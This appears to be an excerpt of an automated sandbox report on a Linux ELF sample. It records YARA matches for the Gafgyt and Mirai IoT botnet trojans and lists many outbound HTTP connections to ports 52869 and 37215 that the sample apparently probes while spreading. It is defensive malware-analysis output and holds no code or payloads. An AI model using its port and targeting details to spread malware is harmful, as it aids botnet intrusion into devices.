Source: 5832.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_e0673a90 reference_sample = c5a317d0d8470814ff343ce78ad2428ebb3f036763fcf703a589b6c4d33a3ec6, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 6834f65d54bbfb926f986fe2dd72cd30bf9804ed65fcc71c2c848e72350f386a, id = e0673a90-165e-4347-a965-e8d14fdf684b, last_modified = 2021-09-16
Source: 5832.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_a0a4de11 reference_sample = cf1ca1d824c8687e87a5b0275a0e39fa101442b4bbf470859ddda9982f9b3417, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 891cfc6a4c38fb257ada29050e0047bd1301e8f0a6a1a919685b1fcc2960b047, id = a0a4de11-fe65-449f-a990-ad5f18ac66f0, last_modified = 2021-09-16
Source: 5832.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_d4227dbf reference_sample = 01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 58c4b1d4d167876b64cfa10f609911a80284180e4db093917fea16fae8ccd4e3, id = d4227dbf-6ab4-4637-a6ba-0e604acaafb4, last_modified = 2021-09-16
Source: 5832.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_09c3070e reference_sample = 275cbd5d3b3d8c521649b95122d90d1ca9b7ae1958b721bdc158aaa2d31d49df, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 84fad96b60b297736c149e14de12671ff778bff427ab7684df2c541a6f6d7e7d, id = 09c3070e-4b71-45a0-aa62-0cc6e496644a, last_modified = 2021-09-16
Source: 5832.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_46eec778 reference_sample = 9526277255a8d632355bfe54d53154c9c54a4ab75e3ba24333c73ad0ed7cadb1, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 2602371a40171870b1cf024f262e95a2853de53de39c3a6cd3de811e81dd3518, id = 46eec778-7342-4ef7-adac-35bc0cdb9867, last_modified = 2021-09-16
Source: 5832.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_d996d335 reference_sample = b511eacd4b44744c8cf82d1b4a9bc6f1022fe6be7c5d17356b171f727ddc6eda, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = e9ccb8412f32187c309b0e9afcc3a6da21ad2f1ffa251c27f9f720ccb284e3ac, id = d996d335-e049-4052-bf36-6cd07c911a8b, last_modified = 2021-09-16
Source: 5832.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_d0c57a2e os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 3ee7d3a33575ed3aa7431489a8fb18bf30cfd5d6c776066ab2a27f93303124b6, id = d0c57a2e-c10c-436c-be13-50a269326cf2, last_modified = 2021-09-16
Source: 5832.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_656bf077 reference_sample = c5a317d0d8470814ff343ce78ad2428ebb3f036763fcf703a589b6c4d33a3ec6, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 3ea8ed60190198d5887bb7093975d648a9fd78234827d648a8258008c965b1c1, id = 656bf077-ca0c-4d28-9daa-eb6baafaf467, last_modified = 2021-09-16
Source: 5832.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_620087b9 reference_sample = 01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 06cd7e6eb62352ec2ccb9ed48e58c0583c02fefd137cd048d053ab30b5330307, id = 620087b9-c87d-4752-89e8-ca1c16486b28, last_modified = 2021-09-16
Source: 5832.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_dd0d6173 reference_sample = c5a317d0d8470814ff343ce78ad2428ebb3f036763fcf703a589b6c4d33a3ec6, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 5e2cb111c2b712951b71166111d339724b4f52b93f90cb474f1e67598212605f, id = dd0d6173-b863-45cf-9348-3375a4e624cf, last_modified = 2021-09-16
Source: 5832.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_779e142f reference_sample = 275cbd5d3b3d8c521649b95122d90d1ca9b7ae1958b721bdc158aaa2d31d49df, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 83377b6fa77fda4544c409487d2d2c1ddcef8f7d4120f49a18888c7536f3969f, id = 779e142f-b867-46e6-b1fb-9105976f42fd, last_modified = 2021-09-16
Source: 5832.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_cf84c9f2 reference_sample = 275cbd5d3b3d8c521649b95122d90d1ca9b7ae1958b721bdc158aaa2d31d49df, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = bb766b356c3e8706740e3bb9b4a7171d8eb5137e09fc7ab6952412fa55e2dcfc, id = cf84c9f2-7435-4faf-8c5f-d14945ffad7a, last_modified = 2021-09-16
Source: 5832.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_0cd591cd os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 96c4ff70729ddb981adafd8c8277649a88a87e380d2f321dff53f0741675fb1b, id = 0cd591cd-c348-4c3a-a895-2063cf892cda, last_modified = 2021-09-16
Source: 5832.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_33b4111a reference_sample = 01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 9c3b63b9a0f54006bae12abcefdb518904a85f78be573f0780f0a265b12d2d6e, id = 33b4111a-e59e-48db-9d74-34ca44fcd9f5, last_modified = 2021-09-16
Source: 5832.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_862c4e0e reference_sample = 9526277255a8d632355bfe54d53154c9c54a4ab75e3ba24333c73ad0ed7cadb1, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 2a6b4f8d8fb4703ed26bdcfbbb5c539dc451c8b90649bee80015c164eae4c281, id = 862c4e0e-83a4-458b-8c00-f2f3cf0bf9db, last_modified = 2021-09-16
Source: 5832.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_32eb0c81 reference_sample = 275cbd5d3b3d8c521649b95122d90d1ca9b7ae1958b721bdc158aaa2d31d49df, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 7c50ed29e2dd75a6a85afc43f8452794cb787ecd2061f4bf415d7038c14c523f, id = 32eb0c81-25af-4670-ab77-07ea7ce1874a, last_modified = 2021-09-16
Source: 5832.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_a33a8363 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 74f964eaadbf8f30d40cdec40b603c5141135d2e658e7ce217d0d6c62e18dd08, id = a33a8363-5511-4fe1-a0d8-75156b9ccfc7, last_modified = 2021-09-16
Source: 5832.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_3fe3c668 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 2a79caea707eb0ecd740106ea4bed2918e7592c1e5ad6050f6f0992cf31ba5ec, id = 3fe3c668-89f4-4601-a167-f41bbd984ae5, last_modified = 2021-09-16
Source: 5832.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_637f2c04 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 7af3d573af8b7f8252590a53adda52ecf53bdaf9a86b52ef50702f048e08ba8c, id = 637f2c04-98e4-45aa-b60a-14a96c6cebb7, last_modified = 2021-09-16
Source: Process Memory Space: na.elf PID: 5832, type: MEMORYSTR	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: Process Memory Space: na.elf PID: 5833, type: MEMORYSTR	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: Process Memory Space: na.elf PID: 5838, type: MEMORYSTR	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16

Source: classification engine

Classification label: mal100.spre.troj.linELF@0/0@2/0

Source: na.elf	ELF static info symbol of initial sample: libc/string/x86_64/memcpy.S
Source: na.elf	ELF static info symbol of initial sample: libc/string/x86_64/mempcpy.S
Source: na.elf	ELF static info symbol of initial sample: libc/string/x86_64/memset.S
Source: na.elf	ELF static info symbol of initial sample: libc/string/x86_64/strchr.S
Source: na.elf	ELF static info symbol of initial sample: libc/string/x86_64/strcmp.S
Source: na.elf	ELF static info symbol of initial sample: libc/string/x86_64/strcpy.S
Source: na.elf	ELF static info symbol of initial sample: libc/string/x86_64/strlen.S
Source: na.elf	ELF static info symbol of initial sample: libc/string/x86_64/strpbrk.S
Source: na.elf	ELF static info symbol of initial sample: libc/string/x86_64/strspn.S
Source: na.elf	ELF static info symbol of initial sample: libc/sysdeps/linux/x86_64/crt1.S
Source: na.elf	ELF static info symbol of initial sample: libc/sysdeps/linux/x86_64/crti.S
Source: na.elf	ELF static info symbol of initial sample: libc/sysdeps/linux/x86_64/crtn.S
Source: na.elf	ELF static info symbol of initial sample: libc/sysdeps/linux/x86_64/vfork.S

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 39612 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 52486 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 52228 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 44004 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 58748 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 44782 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 56316 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 57182 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 59494 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 55836 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 59818 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 52910 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 47080 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 52028 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 43846 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 51952 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 32772 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 56318 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 47168 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 52038 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 49000 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 49878 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 59256 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 58434 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 36268 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 41368 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 59566 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 49850 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46828 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 55744 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 60050 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49448 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37456 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 50744 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 34404 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58802 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41246 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 53276 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 58166 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47958 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38682 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 57878 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 43324 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58404 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37264 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 34498 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 53674 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56060 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55826 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 41462 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 37136 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36682 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33578 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 40318 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 51654 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42670 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33120 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 35234 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 32888 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48774 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51928 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 58908 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 51892 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46980 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35140 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 54270 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 55486 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45390 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49688 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 47522 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 55372 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48720 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45940 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 50744 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 37592 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59994 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 37938 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 42524 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54606 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35622 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 52888 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 56462 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42832 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37054 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 47952 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 41016 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54134 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53964 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 47240 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 55974 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51070 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39718 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 34816 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 60460 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42190 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55924 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 50658 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 50184 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53076 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55112 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 46104 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 41996 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59470 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48842 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 60272 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 51842 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45600 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42984 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 41954 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 34590 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58002 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53640 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 53332 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46368 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58010 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 38818 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 44246 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53484 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44266 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40824 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51694 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34380 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37310 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39338 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53074 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58928 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40368 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36388 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50154 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36266 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47026 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59072 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52056 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39960 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57328 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56976 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53652 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41804 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40962 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44816 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40912 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46142 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56118 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41034 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54780 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53716 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55172 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48358 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58702 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51978 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53922 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58926 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55108 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46926 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46858 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55872 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50170 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38084 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55362 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57252 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45922 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48988 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58478 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40306 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48806 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58082 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50862 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52490 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 36376 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58372 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43446 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 49576 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48338 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53382 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51026 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51502 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55586 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41450 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37000 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50306 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54520 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35814 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45548 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51078 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54668 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54364 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43180 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44016 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 41876 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50716 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 38260 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 60452 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 55922 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36280 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 42388 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36344 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42726 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56256 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52104 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36206 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46634 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58628 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39612 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 59826 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 57050 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58672 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 47120 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56254 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51714 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37398 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36294 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45616 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50876 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36032 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 44190 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 54934 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 39910 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 50372 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 52764 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 49848 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 43694 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 41312 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 44970 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 42354 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 44552 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 59452 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 46866 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 46740 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46964 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 47556 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 42706 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 52456 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 57988 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 43114 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 57472 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 36918 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 46724 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 43020 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 48706 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 49716 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 34206 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 43884 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 37102 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 46324 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 44962 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 48214 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 51842 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 34906 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48472 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 51330 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 60366 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 59132 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 48650 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 44650 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 41000 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 48988 -> 52869
